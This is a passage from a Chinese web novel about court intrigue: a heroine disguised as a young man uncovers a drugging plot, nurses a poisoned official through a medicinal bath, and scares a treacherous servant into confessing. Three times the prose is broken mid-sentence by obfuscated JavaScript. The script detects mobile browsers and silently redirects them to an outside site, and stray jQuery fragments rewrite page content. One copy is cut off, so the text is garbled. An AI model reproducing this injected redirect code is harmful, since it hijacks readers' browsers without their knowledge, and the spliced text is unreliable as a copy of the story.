正当他们犹豫的时候,就听见敛烟说道:“我知道大人派你们来跟着我,刚才的事情你们也都看到了,需要即刻去禀告大人,你们先送这姑娘去医馆。” 以她的身手,不能神不知鬼不觉把这舞姬送到医馆,况且下药的人若是找不到舞姬,一定会去医馆寻,到时自己说不定也会有危险。 潜麟卫训练有素,即便是中了秽药,交给他们舞姬也不会有危险。 潜麟卫也觉得她说的有道理,便从房顶上掠下,点了舞姬的睡穴后,扛着人便施展轻功离开了。 敛烟重新理了理衣服,深吸一口气平复有些慌乱的心,转身朝前厅走去。 然而就在她从廊下的树丛旁打算绕到台阶上时,忽然听到陆景明惊愕的声音传来: “什么?!你说那舞姬不见了!” 26. 厉思远中药 敛烟呼吸一滞,她身形单薄,所以被茂密的树丛一挡,整个人便隐没进去了,她知道自己此时如果现身,难保不会因为听到了秘密而被灭口。 所以她脚步一顿,将呼吸放缓,悄无声息地将身子蹲下来,用树丛将自己完全挡住。 陆景明此时正气急败坏地看着他的亲信,那亲信着急地擦去头上的汗,悄声道:“大、大人,小点声!” 陆景明这才发现自己刚才音量没有控制住,他四下看了一圈确定没人以后,才压低声音急急开口: “一个舞姬,还中了秽药,能跑哪儿去?好好找了没有!” 亲信也是皱紧眉头:“大人,确实都已经派人找遍了,没看到人啊。” 陆景明咬牙锤了他一拳:“医馆!外面的医馆找了没有?她中了药就算是跑出去肯定也是第一时间去医馆!” 亲信挠了挠头:“这……确实没找过……!” 陆景明忍不住又给了他一拳:“快点!猪脑袋!” 亲信应了声,慌忙跑掉了。 陆景明不解气地踢了旁边的柱子一脚,却又疼的龇牙咧嘴,抱着脚痛呼一声。 还没等疼痛消散,就听见杨公公尖尖的嗓音响起:“陆大人,发生什么事了?” 陆景明惊恐抬头,就对上杨公公细长的小眼睛和花白的脸。 杨公公看着和善,实际上笑意却从不达眼底。 听说他自入宫以来就跟在皇贵妃身边,深得皇贵妃信任。 后来严宏道出生以后,杨公公就按照皇贵妃的安排,一直跟在严宏道身边,皇贵妃和严宏道做的一些腌臜事,不少也都是他在背后推波助澜。 陆景明紧张地吞了吞口水:“没、没什么。” 万一那舞姬能找回来呢?暂时还是不要二殿下知道比较好…… 杨公公上下打量了他一下,忽地笑了一下:“刚才咱家的手下来禀报,大殿下进了屋以后就睡过去了,用力摇他都不醒呢?” 陆景明心里咯噔一下,怎么可能? 舞姬找不到了就罢了,那么多舞姬大不了重新抓一个强行灌药就是了。 但是他明明看着严恒把那碗下了药的醒酒汤喝下去了,按照下药的剂量,他是无论如何都不可能睡过去! 杨公公轻轻甩了下拂尘:“咱家的手下还说,看到厉思远大人气喘吁吁地朝后院的一个偏房跑去,您说,这舞姬跑了不要紧,这药下错了……” 他细长的小眼睛阴森森看向陆景明,缓缓开口:“二殿下会不会怪罪下来呢?” 陆景明头上冷汗涔涔而下。 严宏道的脾气他还不是不知道,这次的计划他可是反复交代过一定要成功,而且皇贵妃也特意把他喊过去,话里话外都在威胁他好好协助严宏道。 要是严宏道知道这件事搞砸了,自己能不能娶熹微还不好说,仕途可能就彻底被毁了…… 这个阿宽,成事不足败事有余!怎的下药还能下错人?! 陆景明扑通一声跪了下来,颤声回答:“求、求公公指条明路。” 杨公公一甩拂尘,轻笑道:“咱家的人来传话说,厉思远大人躲进了东南角的小宅子里,咱家已经派人过去看住他了。” “咱家听说大人的妹妹对厉思远大人倾心已久,不如今日就借势成了一桩好事。” 陆景明浑身汗毛倒竖,想都没想便冲口而出:“不可!” 看到杨公公脸色沉下去,陆景明这才惊觉自己说错了话,连忙开口: “就、就算是舍妹和厉思远行了房事,他也断不会答应同舍妹在一起的……下、下官这就重新派人给大殿下……” 话没说完,就没杨公公冷冷地打断了:“陆公子觉得咱家是来同你商量的么?” 陆景明一时语塞。 “二殿下向来赏识厉思远大人,只是这人不识时务,今夜过后,贵妃娘娘会亲自向陛下请一道赐婚旨意。” 杨公公贴近陆景明的耳边,冷冷道: “厉思远大人向来不偏不倚,但是有了家室,便有了软肋,那殿下的大业便又更进一步了。” 敛烟就藏在廊下的草丛里,他们二人为了尽量远离大堂,朝廊外靠的很近,所以她一字不落地听进了耳朵里。 她紧紧捂住了自己的嘴,恐怕发出一点声音。 她知道储君之争已经开始,却想到二皇子竟然如此不择手段,就连下秽药这种腌臜手段都敢用。 而且陆景明这个人,就连自己妹妹都敢往外推,当初自己真是瞎了眼才和他你侬我侬了那么久。 没等她想清楚大皇子和舞姬苟合对二皇子有什么好处时,两个人已经离开了。 要赶快告诉厉思远! 这是敛烟下意识的想法。 她虽然不想介入朝堂争斗,但是如今自己在他手下做事,他也是能带她回京,进入大理寺的唯一可能。 若是再换个主子,那时候是什么光景就不知道了。 况且,厉思远能够不顾身份帮助林阿婆,是个好人。 而好人,就应当有好报。 敛烟见两个人背影消失后,一个箭步朝烟雨阁的东南角冲了过去。 然而在路过一个转角的时候,忽然被人一把抓住胳膊,敛烟还没反应过来,便被捂住嘴拉入了一旁的偏房中。 难道是刚才自己偷听被发现了? 敛烟心中大骇,奋力挣扎起来,却听到耳边传来熟悉的声音:“是我。” 是山平的声音? 敛烟停止了挣扎,山平这才放开手,示意敛烟跟过来。 敛烟低声急急说道:“我找大人有要事!” 山平垂眸:“我们现在就是去找大人。” 山平走的飞快,敛烟迈开腿小跑才勉强跟上。 敛烟:“大人是不是中秽药了?我知道下药的人是谁,他们下错药了,打算将错就错让大人去和陆家二小姐……那个。” 山平不语,只是一味朝前面走,敛烟疾走两步瞥向山平,他原本一直没什么表情的脸上竟然浮现出一丝紧张的神色。 不会吧?厉思远不会真的和陆巧香? 一想到这种可能性,敛烟就不寒而栗。 她虽然恨极了陆景明,但是和陆巧香并没有什么恩怨,陆巧香也就是因为被家里人惯坏了,性子骄纵一些罢了。 陆景明真的打算踩着他自己的亲妹妹上位么?这未免过于丧心病狂。 见山平的样子,敛烟也知道他不会再回答自己任何问题,只能闷着头跟着他往前走。 拐了不知道几个弯路,还穿过了一个极其隐蔽的林间小道,眼前出现了一间独立于整个烟雨阁的小屋,要不是山平带路,敛烟还不知道原来这里还有这样一个地方。 山平没有停留,伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268729|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手就推开了眼前的房门。 一把利剑铮然出鞘,直逼面门而来,敛烟吓了一跳,还没等她反应过来,山平两指并拢捏住剑刃,偏头躲开了一击。 “大人,是我。” 厉思远眼神一凛,将手放了下来,宝剑当啷一声掉在了地上。 敛烟看清屋内的景象时不禁倒吸一口凉气。 屋里面满地狼藉,花瓶碎片、家具残骸乱七八糟散落一地,就仿佛被人狠狠砸过。 但是就这样乱七八糟的地方,中间却支起来了一个热气腾腾的木桶,旁边甚至还围了三个华贵的屏风。 厉思远倚靠在屋内的床边,双目猩红,胸膛上下大幅度起伏着,汗水顺着他的脸颊两侧徐徐向下流淌。 在最里面的墙角蜷缩着两个瑟瑟发抖的黑衣人,他们被人五花大绑用布堵住口鼻,鲜血顺着脑袋流到唇角,脸部肿胀的看不出人样。 敛烟吓呆在了原地,这……这到底是怎么回事? 山平皱着眉蹲下:“大人,要不我送您去医馆吧,那药物要是不全部消解,恐怕会殃及根本。” 厉思远摆了摆手,粗喘着气,咬着牙勉强挤出一句话:“我已经用内力压下了药力,所以才……咳咳咳!” 话没说完,厉思远只感觉一股气血上涌,剧烈咳嗽起来,他用手去捂,张开的五指间竟有一丝鲜血滴落。 看着那抹触目惊心的红,敛烟只觉得心惊肉跳,急急开口: “大人,我刚才听到了杨公公和陆景明说的话,给大殿下下药的人,正是他们指使的,而他们背后是……” “是二皇子。” 厉思远哑着声音,自己说了下去。 敛烟一愣,就看到厉思远了然的神色,便知道他已经猜到了。 厉思远没再多说什么,接过山平递过来的帕子擦手,嘴角却又渗出了一丝血。 敛烟眉头微蹙。 眼下厉思远的状态看着不像是中了药,再结合平日里邱容和山平的奇怪举动,或许厉思远身体有隐疾也说不准。 自己如今只是被厉思远暂且收留,根本谈不上是他的心腹,他却将这种私密的事情在自己面前展露无疑,不会是……想要杀人灭口吧? 这样想着,她眼睛已经看向了虚掩的木门,但随后又觉得一阵绝望,山平的身手她是知道的,自己可能还没够到这个门,就已经尸首分离了。 此时厉思远仰着头靠在床边,缓了缓后下达了命令: “山平,你带他们两个下去审,彦儿使我们的人,他的证词陛下不会相信,务必把这两个人的嘴撬开。” 山平蹙眉:“可是大人,彦儿他……” 他的语气里带着强烈的不信任,敛烟都不用猜也知道他是什么意思。 不信她还非要带她来,真的是…… 厉思远却打断了山平:“快去。” 山平一噎,只能低头应是,拖着两个黑衣人就离开了,顺手将木门紧紧关上,还落了锁。 敛烟最后一丝逃跑的希望也没了,她颓然站在原地,看着厉思远猩红的双眼盯着自己,手似乎要往佩剑摸去。 难道自己大仇未报就要命丧黄泉了么? 就在她脑海中已经规划好该怎么趁厉思远如今身子虚弱,抢过他的佩剑先发制人的时候,就听见厉思远虚弱地说道: “来替我更衣,我要沐浴。” 27. 伺候药浴 许是药劲太大,此时他的声音有些低哑,带着成熟青年男性的磁性声线,低着硬朗的下颌,眼眸微抬,看着敛烟。 敛烟一愣,思绪戛然而止。 一连串疑问不禁脱口而出:“沐浴?在这里?现在?” 厉思远漆目一瞬不瞬盯着敛烟:“对,我……没力气。” 也不知道是不是的错觉,和自己共处一室的时候,厉思远的痛苦似乎减轻了一些,说话的声音和刚才比都平缓了很多。 看在他中了药的份上,敛烟心一横,慢吞吞将手伸向那褚红色的官袍。 繁复的官袍褪下,露出里面雪白的里衣,厉思远将头发的束带解下,霎时,青丝铺满了脊背。 他的肩很宽,腰间束着一根雪白腰带,将那一方窄腰尽显,里衣贴身,厚实的肌肉随着他的动作鼓动。 然而里衣落地的时候,敛烟的目光却被厉思远的后背吸引。 纵横交错的鞭痕,看着不像是陈年旧伤。 厉思远……怎么会被人打成这样? 厉思远轻轻的咳嗽声将敛烟的思绪拉回,此时他整个人瘫坐在地上,艰难抬头,示意敛烟过去扶他。 敛烟虽然女扮男装,但是力气却依旧是一个女子,她费了九牛二虎之力,才把厉思远扶起来。 厉思远整个人歪倒在敛烟身上,一只胳膊搭在她肩上,近到敛烟都能感受到他粗重的喘息声。 敛烟莫名觉得老脸一红,定神朝木桶走去。 短短几步路,敛烟只觉得自己用尽了吃奶的力气。 走到木桶前敛烟才发现,木桶里的根本不是热水,而是一桶黑如墨的药草汁液。 随着水流轻微的晃动,厉思远半个身子入了水,骤然爆发出一阵痛苦的低吼声。 敛烟下意识认为是水太烫了,伸手就去试,水温却刚刚好。 她不知道的是,这药浴对普通人来说并不算什么,但是对于厉思远这个身中寒毒的人来说,却如坠冰窖。 刺骨的寒冷在入水的那一刻将他整个人包裹住,丝丝缕缕地渗入血肉中、刺入骨骼里。 紧接着,仿佛有成千上万把小刀在生生割破他浑身皮肤,狠狠刺入血肉中,耳边因为疼痛而响起一阵嗡鸣声,大脑也炸开一片空白,意识瞬间堕入混沌中。 在意识堕入混沌中的前一秒,厉思远在心里自嘲地笑了一下。 一个小小南方流民,身上的香气却能够缓解自己的失眠症,自己便贪心,以为他能够缓解寒毒症状。 陛下遣人遍寻大江南北名医替自己诊治开药都没有治愈的寒毒,偏偏一个人身上的气味能够解开? 自己的想法真是天真的可笑。 也或许是因为他长得太像她了,如今自己竟然和一个身份不明的人呆在一个房间里,还是这样毫无防备的状态下。 真是……病急乱投医啊…… 敛烟在一边看着厉思远因痛苦涨红的脸,额头青筋暴起,就连嘴唇都被他咬出了血,有些不知所措站在原地。 厉思远这到底是什么病? 不行,他不能就这样死在这里! 他还要带自己回京城,进大理寺呢! 敛烟也不知道自己怎么想的,竟下意识伸手握住了厉思远紧绷的胳膊。 “大人,我在这里,没、没事的,会好的。” 厉思远在混沌中,忽然感觉到一个温热的东西轻轻覆盖在了自己的胳膊上,柔软细腻,他不禁轻轻地将脸朝那温热的触感贴近了些。 熟悉又让人安心的香气再度席卷过来,竟似有所感一样将自己包裹住。 一股热流自丹田处升腾起来,逐渐蔓延到四肢,刺骨的寒意减轻了些许。 厉思远屏气凝神,有意识地开始运转起身上的内力,一点点将药力催动到内部经络之中。 感受到厉思远的脸颊贴近,敛烟吓了一激灵,却看到每天都面容冷峻、不苟言笑的男人,此刻却安静的如同一个睡着的婴儿般,轻轻靠在自己的臂弯里。 低头就能看到他沉静的侧脸,薄唇紧抿着,长长的羽睫不安地抖动着。 敛烟原本想抽回手,在看到厉思远的面容时,却又莫名觉得心头一软。 自己如今虽流落在外,却真正拥有过家人,而眼前的这个人,从小便没了爹娘,独个儿在这吃人的世上踽踽独行。 虽然有陛下和太后的庇佑,但终究不是血亲,更何况,皇家的事情又是最复杂的。 也不知道小小的少年是如何成长成如今的模样的。 这样想着,敛烟也逐渐放松下来。 木桶旁有一个供人上下的木梯,她便坐在了上面,调整了一个舒服的姿势,望着升腾起来的雾气出神。 过了约莫有一个时辰左右,敛烟觉得厉思远痛苦狂躁的情绪似乎减轻了不少。 她担心皇子殿下们找不到厉思远会起疑,自己坐在木桶前也着实有些累,正打算松开手离开,却在转身的一刻忽然被厉思远紧紧牵住了手。 厉思远的大手宽大温热,把敛烟的小手整个儿包在掌心里。 他力气很大,敛烟试图抽出自己的手未果,只能坐回了原地。 * 翌日午时。 敛烟恍惚中睁开眼,感觉有些口渴,只觉得四周床幔重重,身下床铺松软。 隔着纱幔逆着光看到了一个人影,以为自己在家,便自然开口: “我好渴……苗……替我倒杯茶……” “……” 来人没有说话,先是静默了一瞬,随后就响起了茶杯碰撞的脆响。 敛烟皱着眉头适应着光线,还处于迷蒙的状态,就感觉到温热的茶水已经递到了眼前。 她接过茶杯时,触到了一只有些温暖的手,不似女子那般细腻,反倒是有些粗糙有力。 不自然的触感让敛烟一个激灵从床上弹起来,这才惊觉自己竟然和衣躺在厉思远的床上! 她忙摸了一下脸上的疤痕,很好颜料还在。 随后又检查了一下衣物,很好,很整齐。 拉开床幔,就看到厉思远垂眸站在床边,身上是淡蓝色的锦袍,端正修长,似乎刚从外面回来。 厉思远见她那慌张的模样,解释:“昨晚辛苦你了,见你睡着,便没叫醒你。” 别别这样说,很怪!不知道的人以为昨晚怎么了! 敛烟心虚地抿了抿嘴唇,七手八脚地下了床:“这、这是小人该做的,大人无需这样客气……” 敛烟的衣领因为刚才的熟睡有些歪,露出里面晶莹的锁骨。 她皮肤是那种透着光泽的白,一紧张起来的时候,又会微微泛上一些粉,像一朵娇嫩的花儿。 厉思远微微停留了一下目光,随后移开:“昨晚是你帮我移过来的?” 敛烟道:“是山平大人把您扛过来的,小人……有些不太方便。” 昨晚折腾了大半夜,厉思远才好不容易平静下来,竟就靠着自己的臂弯睡着了。 但他一只手仍旧牢牢抓着敛烟的手腕,好在山平适时出现,将大人带了回来。 但即便强壮如山平,用尽办法也无法掰开厉思远的手,敛烟就只能坐在厉思远的床前数羊,数着数着就睡着了。 想起昨晚的事情,她下意识看了看自己的手腕。 她皮肤细腻白嫩,极容易留下痕迹,昨晚让厉思远握了一晚上,此时还有些不太明显的红痕。 厉思远也顺着她的目光望过去,长睫抖了抖,不经意地扫过她手腕的红痕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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昨夜他原本是想让巧香假装失去清白,借势嫁给厉思远,但是他妹妹那高傲的性子他最了解,绝不可能同意这种事情。 时间不等人,他当机立断决定给巧香下药让她昏睡过去。 自己则带她去厉思远所在的地方,等第二日白天把巧香放到他身边,就说二人已经行了房事。 结果谁知道杨公公的人根本没有按住厉思远,而厉思远竟动用内力将药效强行压制下去,把杨公公的人揍得鼻青脸肿,还捆了起来。 看着门口严防死守的山平和潜麟卫,陆景明知道这次的计划泡汤。 他正犹豫着怎么给严宏道交代的时候,背在身上的陆巧香忽然控制不住口吐白沫,甚至打起了摆子。 送到医馆才知道,巧香似乎体质有些特殊,对部分药物反应异于常人,在医馆高烧不止甚至呕吐了几次。 好不容易救过来了,却被大夫告知,由于送来的时间太晚,命虽然救过来了,眼睛却被烧坏了。 陆景明悔恨不已,却又止不住在心中暗自庆幸。 自己虽然计划失败,但是亲妹妹却赔了一双眼睛。 严宏道得知消息后虽然大发雷霆,但是最终还是没有处置自己,和伍熹微的婚约也没有受到影响。 陆景明的眼中闪过一丝狠辣。 只要……只要他保住婚约,攀上伍家这棵大树,迟早有一天能平步青云! 陆景明咬咬牙,强行将陆巧香从外面拖了回去,关门的瞬间却蓦然感受到了一道冷冷的视线。 他动作一顿,再重新看出去的时候,只有厉思远身边的那个彦儿画师低着头从门外走过。 奇怪,难道是他的错觉? 陆巧香又开始哭哭啼啼,陆景明注意力很快被吸引了过去,将门严严实实地关了起来。 28. 女鬼 等敛烟回到房中休息时,就看到邱容耷拉着脑袋坐在茶桌前,就连敛烟推门进来,他都没有看过来一眼。 邱容并不喜欢自己,敛烟也不愿意自讨没趣。 昨夜的确折腾太久,如今四肢还酸痛,她将自己的床榻整理好后,刚要躺下,就听见邱容竟然呜呜呜地哭了起来。 敛烟手上的动作一顿,余光看到邱容透过指缝偷偷看向自己,叹了口气,从床榻上又爬下来,拉开他旁边的椅子坐了下来,好声好气道: “怎么啦?是被大人怪罪了?” 不说还好,一说邱容哭的更大声了。 等到他哭哭啼啼把事情交代清楚以后,敛烟才知道,原来不是严宏道手下的人不靠谱,而是邱容过于倒霉。 谁知道他去厨房盛醒酒汤的时候,偏偏没有一个人在。 而厉思远误喝了以后,才引发了后面一系列事情。 一股脑说完自己倒霉的经历后,邱容还自责地嘟囔着: “都、都怪我,大人才不得不强行催动内力,所以才发病……” 敛烟倒了一碗茶慢慢喝着,听完他的话后试探着问道:“大人到底是什么病?” 邱容听到这话猛然抬头,盯着敛烟看,把她都看毛了以后才开口: “既然大人都已经让你伺候药浴了,那我也不跟你隐瞒了,但是……” 他忽然站起身,站在敛烟面前弯下腰,咬着牙对她说: “但是你要是敢说出去一个字,我第一个饶不了你,知道么?” 大大的土豆脑袋威胁人起来没有什么威慑力,甚至有些好笑,敛烟忍住笑,一本正经地点头。 邱容这才重新坐下来,愁眉苦脸地叹了口气: “大人儿时受过伤,中了一种寒毒,请了好多名医都没有治好,每个月都会发病,而如果动用太多内力的话,也会发病,每次需要泡上一晚上药浴才能缓解。” 寒毒? 敛烟皱紧眉头,她一直以为这是话本里才有的毒物,原来现实中真的有。 寒毒,是西域那边一种毒虫所带的毒素,母蛊在下蛊人手里,子蛊会被种在中毒人的体内。 中蛊之人每月初一十五的时候都会发作一次,发作时浑身奇痒难耐、寒冷无比,而那种冷是从骨子里透出的冷,避无可避、痛不欲生。 而如果像邱容所说,动用内力也会发作的话…… 说明下蛊之人想要废掉厉思远武功。 厉思远虽然拳脚功夫可以,但没有内力加持,再好的功夫也会大打折扣。 这样看来厉思远在皇宫中的日子也不好过,虽然有陛下的庇佑,但还是有人对他虎视眈眈,甚至不惜对他动用这样阴狠的毒物。 那……母蛊在谁手上呢? 如果能找到母蛊,他的寒毒还可以治好,现在还没有治好,说明一直没有找到当年下毒的人。 邱容见敛烟不说话,又唉声叹气: “宫里的御医给大人开药的时候就说过,我们普通人泡药浴没什么感觉,可如果是中了寒毒的人,就犹如酷刑一般,冷热交加,痛苦不已。” 说完,他只觉得喉咙发紧,眼眶酸涩,禁不住又流下了眼泪。 “大人五岁那年便没了父母,也知道陛下和太后与他身份有别、不敢僭越,就连练武的时候不小心摔断了胳膊,都不肯喊一声疼、不肯掉一滴泪。” “所以他就算是疼到骨子里,也从不让我们近身侍候,不肯让别人看到他最虚弱的样子。” 邱容的话让敛烟不禁想起了昨天夜里,厉思远痛苦到涨紫的脸,却是一声不吭。 只有在握住自己的胳膊时,敛烟才感觉到一丝他的脆弱和无助。 邱容竹筒倒豆子似的说完后,觑了一眼敛烟的神色,又恨恨地补充: “大人原本用药浴是不需要近身侍候的,但你却是个例外。” 话说的咬牙切齿,俨然是一副占有欲极强的样子。 敛烟无语凝噎,她倒是不想近身伺候一个男子,自己也是稀里糊涂的就去了。 敛烟叹了口气,故作深沉地摇摇头:“不知道啊,可能是大人赏识我做事仔细,不会马虎大意吧。” 邱容气不打一处来,咬牙切齿地嘟囔了两句。 * 敛烟休息了一日后,便觉得恢复了许多。 期间邱容回来了一次,据他所说,除了陆巧香“不小心”把眼睛熏坏了以外,所有的事情就仿佛没有发生过一样,一切风平浪静。 敛烟想,很可能是厉思远已经将消息压了下来,毕竟他说过,皇家之事,不可妄言。 在没有确凿的证据之前,即便他身为陛下义子,也要谨言慎行。 毕竟他要指认的,是陛下的亲儿子。 那日山平将那两个黑衣人带回去后,把所有的刑都用了一遍。 但是那两个人显然是受过专门训练,只说自己是收钱办事,身上任何证明身份的物件也没有,只能将他们押解回京听候发落。 原本七日的渔获宴,因为这场闹剧只持续了三日便匆匆结束。 敛烟躺在榻上,听着旁边另一个床榻上邱容的呼噜声,轻手轻脚爬了起来,将床榻上的褥单拿走,偷偷开门走了出去。 明日就要回京了,但她还有一件重要的事情没有做。 烟雨阁,一处僻静的小院。 阿宽被两个小太监死死按在草丛里,其中一个小太监一手提着酒壶,一手捏开阿宽的嘴,也不顾阿宽奋力挣扎,抬高酒壶,清酒便顺着壶嘴一股脑流入阿宽的嘴里。 阿宽被呛得痛苦不已,面色涨红,但不管他怎么扭动身子,挥动两条腿,两个小太监都不肯松手。 直到一壶酒见了底,小太监们才松了手。 松开手的一刹那,阿宽猛地坐起身趴在地上,哇地一声吐了出来,伴随着剧烈的咳嗽声和痛苦的粗喘声。 提着酒壶的小太监冷冷看了他一眼,尖声道: “算你运气好,明日殿下们便要启程回京,我们便不再来找你了。” “记住了,以后在二殿下面前给我长点眼睛,不然下次可不是酒刑这么简单了。” 阿宽吐得连胆汁都出来了,却也是不敢反抗,喏喏地吐出一个“是”字。 两个小太监瞧着草地上吐出来的秽物,嫌恶地用衣袖掩住口鼻,头也不回地离开了。 听着小太监们远去的脚步声,阿宽忍不住重新跌坐在地上,酒劲上了头,禁不住哀哀哭泣起来。 自己原以为二殿下要赏自己喝酒,谁知自己昨日竟被人生生灌了三壶烈酒。 而且是生生硬灌,连中间喘息的机会都没有。 殿下在这里几日,自己就被灌了几日。 想到家中老母,他根本不敢反抗,只能默默承受着这犹如水刑般痛苦的酷刑。 恍惚间,一个熟悉的声音幽幽响起:“阿宽?” 阿宽迷迷糊糊中一怔,随即瞪大眼睛不敢置信看向眼前的人。 这人身上裹着孝服,额头系一白色布条,那脸分明是…… “小、小姐……?” 敛烟早从邱容那里打听过,严宏道说是赐酒,实则是对阿宽用“酒刑”,三日,每日三壶烈酒,就在这个院子的草丛中。 一天三壶烈酒,正常人喝下去早就不分东南西北了。 见阿宽神志不清的模样,敛烟便知道自己赌对了。 她摆出一副哀怨的模样,用女声冷冰冰地道:“阿宽……你可知罪?” 四下无人的黑夜中,海风呼啸着刮来,吹的院中树叶沙沙作响。 阿宽禁不住打了个激灵,本就不清醒的头脑此时被惊恐充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268731|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满。 不是说敛府已经悉数流放了吗?而且都在流放的路上被……小姐怎么会找到这里来? 不、不对,这不是小姐。 这是鬼!是索命鬼啊——!这是因为自己做的糊涂事来找自己索命来了! 想到这里,阿宽只觉得一股寒意从脊背窜起,他一脸惊恐地抬头,声音哆嗦着: “小姐……别、别怪老奴啊,老奴只是、只是被钱财迷了心窍,一时糊涂啊小姐……” “你、你莫要来找老奴,你要找就找真正想害老爷的人啊——!” 他竟还敢称父亲为老爷! 听到父亲的名号,敛烟心头火起,猛地逼近两步,直逼得阿宽连连后退。 敛烟忽然伸出手,手上是早已准备好的尖刺,在黑夜中就像是一只尖利的爪子,狠狠捏住了阿宽。 敛烟力气虽小,但阿宽惊惧之下只觉得呼吸一滞,想要惊叫出声,眼前却忽地逼近另一只尖利的爪子,离他的眼球只有寸步之遥,让他怕的都忘了开口大叫。 耳边响起“女鬼”阴沉的嗓音:“说,是谁想害我父亲!若是你不说,我今日就要拖你进十八层地狱,让你求生不能,求死不得!” 阿宽哽咽开口:“老、老奴当真不知啊!那人戴着面巾,拿家中老母威胁我,我也是没办法……” 敛烟不愿再听他解释,怒声开口:“我父亲到底是怎么死的!” 阿宽一噎,乖乖交代:“那人知道大人要外出查案,便、便给了我一袋粉末,让我在备马的时候,喂、喂给它……” “我、我当真不知道那药是做什么的!但是老爷后来出了事,我、我才知道竟是让马发狂的药!” “我很是害怕,这、这才假意告假回家,跑到了这里……” 说到最后,阿宽见敛烟目眦欲裂,眼神越发冰冷,他也越来越害怕,最后几乎是哭着说出来的。 有对照拂自己多年的主家的愧疚,也有悔不该当初的懊恼。 如果自己当初不贪图那笔银钱,不去那吃人的赌坊,自己如今也不会受尽酷刑,还被卷入储君之争中,生死难料。 听得阿宽的一番话,敛烟只觉得浑身血液都冰冷了。 父亲待阿宽那样好,他却为了一笔银子,害的父亲竟连个尸骨都没有! 她愤怒至极,禁不住伸手去抓旁边的石块,却在要举起的一刹那,强迫自己冷静了下来。 此时若是杀了他,先不说是不是便宜了他,自己如果被怀疑,以后会很麻烦。 阿宽见“女鬼”迟迟不说话,只是披头散发地盯着自己,手里还举着石块,心里发毛,颤巍巍开口: “该、该交代的我都交代了……你快些走吧……回头我、我多给你烧点纸钱……” 敛烟深吸一口气,垂眸看了一眼脸色煞白的阿宽,又伸出自己的“利爪”,轻轻划动在他的颈部,阴森森地呢喃: “今夜子时,把你做过的所有亏心事都写下来烧给我,不然我的怨气无法消散,日后也会每天缠着你,让你此生不得安宁——” 说完,敛烟才放开了阿宽的脖子,又冷冷补充道:“若是让我发现你有半点隐瞒,明日便是你的死期。” 披头散发的女鬼站在冷风中,脸色白的吓人,声音也阴森森的,阿宽本就心虚,身子一哆嗦,只觉得□□布料湿了一片,竟是生生吓尿了。 但他却不敢怠慢,如今已是亥时,只见他连连点头,匆忙爬起来便朝房间冲去。 敛烟默默看着他离开的方向,也转身离开,却不是回房,而是径直朝厉思远的房间走去。 厉思远被寒毒折磨的颇为疲累,今日早早就歇下了,却在半梦半醒中听见有人敲门。 他倏然睁开双眼,就听见彦儿的声音在门外响起: “大人,小人有急事来报。” 29. 忠臣 阿宽揣着那张写满自己罪状的纸,跌跌撞撞地朝烟雨阁外奔去。 他喝的醉醺醺的,心里却止不住害怕那“女鬼”再回来找他,嘴里不住地念叨着“对不住”,脚步踉跄却丝毫不敢停歇。 然而就在他要冲出烟雨阁大门,面前忽然出现了一个高大的黑影。 阿宽抬头一看,就见厉思远冷脸站在他面前。 还没等他反应,便觉得怀里一空,那张罪状书便被厉思远捏在了手里。 阿宽惊惧交加之下就要去抢,却忽觉膝盖处一痛,整个人被山平狠狠按在了地上。 他想要痛呼出声,却早就被山平从背后点了哑穴,只能发出嘶哑的气音。 厉思远背着手,捏着罪状书细细看去,越看眉头皱的越紧,等到看完全部内容后,他放下手冷声道: “人证物证据在,把人带走,押解回京。” 阿宽登时吓得酒都醒了一半,双腿一软跪在了地上。 完了…… 全完了…… 这时,他才后知后觉地意识到,刚才那“女鬼”真的是鬼么?还是…… 被山平拖走的最后一瞬,他瞥见了从厉思远身后走出来的瘦弱少年。 少年脸上疤痕可怖,露出的双臂和脖颈却雪白细腻,神色冰冷地望过来。 等等……难道……? 阿宽渐渐张大了嘴,但他此时因为害怕已经发不出任何声音了,只做出了一个口型: “小姐……” 阿宽和山平离开后,四周陷入了寂静。 敛烟在缓缓舒了口气,正要打算离开,厉思远却转了过来。 黑夜隐去了他的表情,只听见他缓缓开口:“这贼人真是醉的不轻,竟然敢把自己的罪状写出来。” 敛烟心头一沉,她刚才找到了厉思远,借口说自己出门解手,恰巧听见醉醺醺的阿宽把所有的亏心事都哭着说出来。 这一切太过凑巧,也很难不产生怀疑。 敛烟硬着头皮点头:“是啊,小人也不知他竟然会写出来,许是内心愧疚,这样做会让他好受点。” 厉思远垂眸看着低头看脚尖的敛烟,眸光中思绪繁杂,最终才叹出极长极长的一口气: “一代忠臣,却被一个家奴害死,真是……” 听见他的话,敛烟蓦地抬起头。 此时月光从散开的密云中落下,盈盈落在厉思远肩头,似给他镀上了一层银白色的光。 她在厉思远向来平静无波的脸上,瞧见了一抹悲伤。 敛烟眼眶忽然一酸,连忙低下了头,不敢让厉思远看到自己的表情。 忠臣,他说父亲是忠臣。 父亲兢兢业业、为民请命一辈子,却因一个子虚乌有的罪名,被所有人唾骂。 敛府的门口被人泼上秽物,所有路过门口的人都要啐上一口。 但厉思远却说,父亲是忠臣。 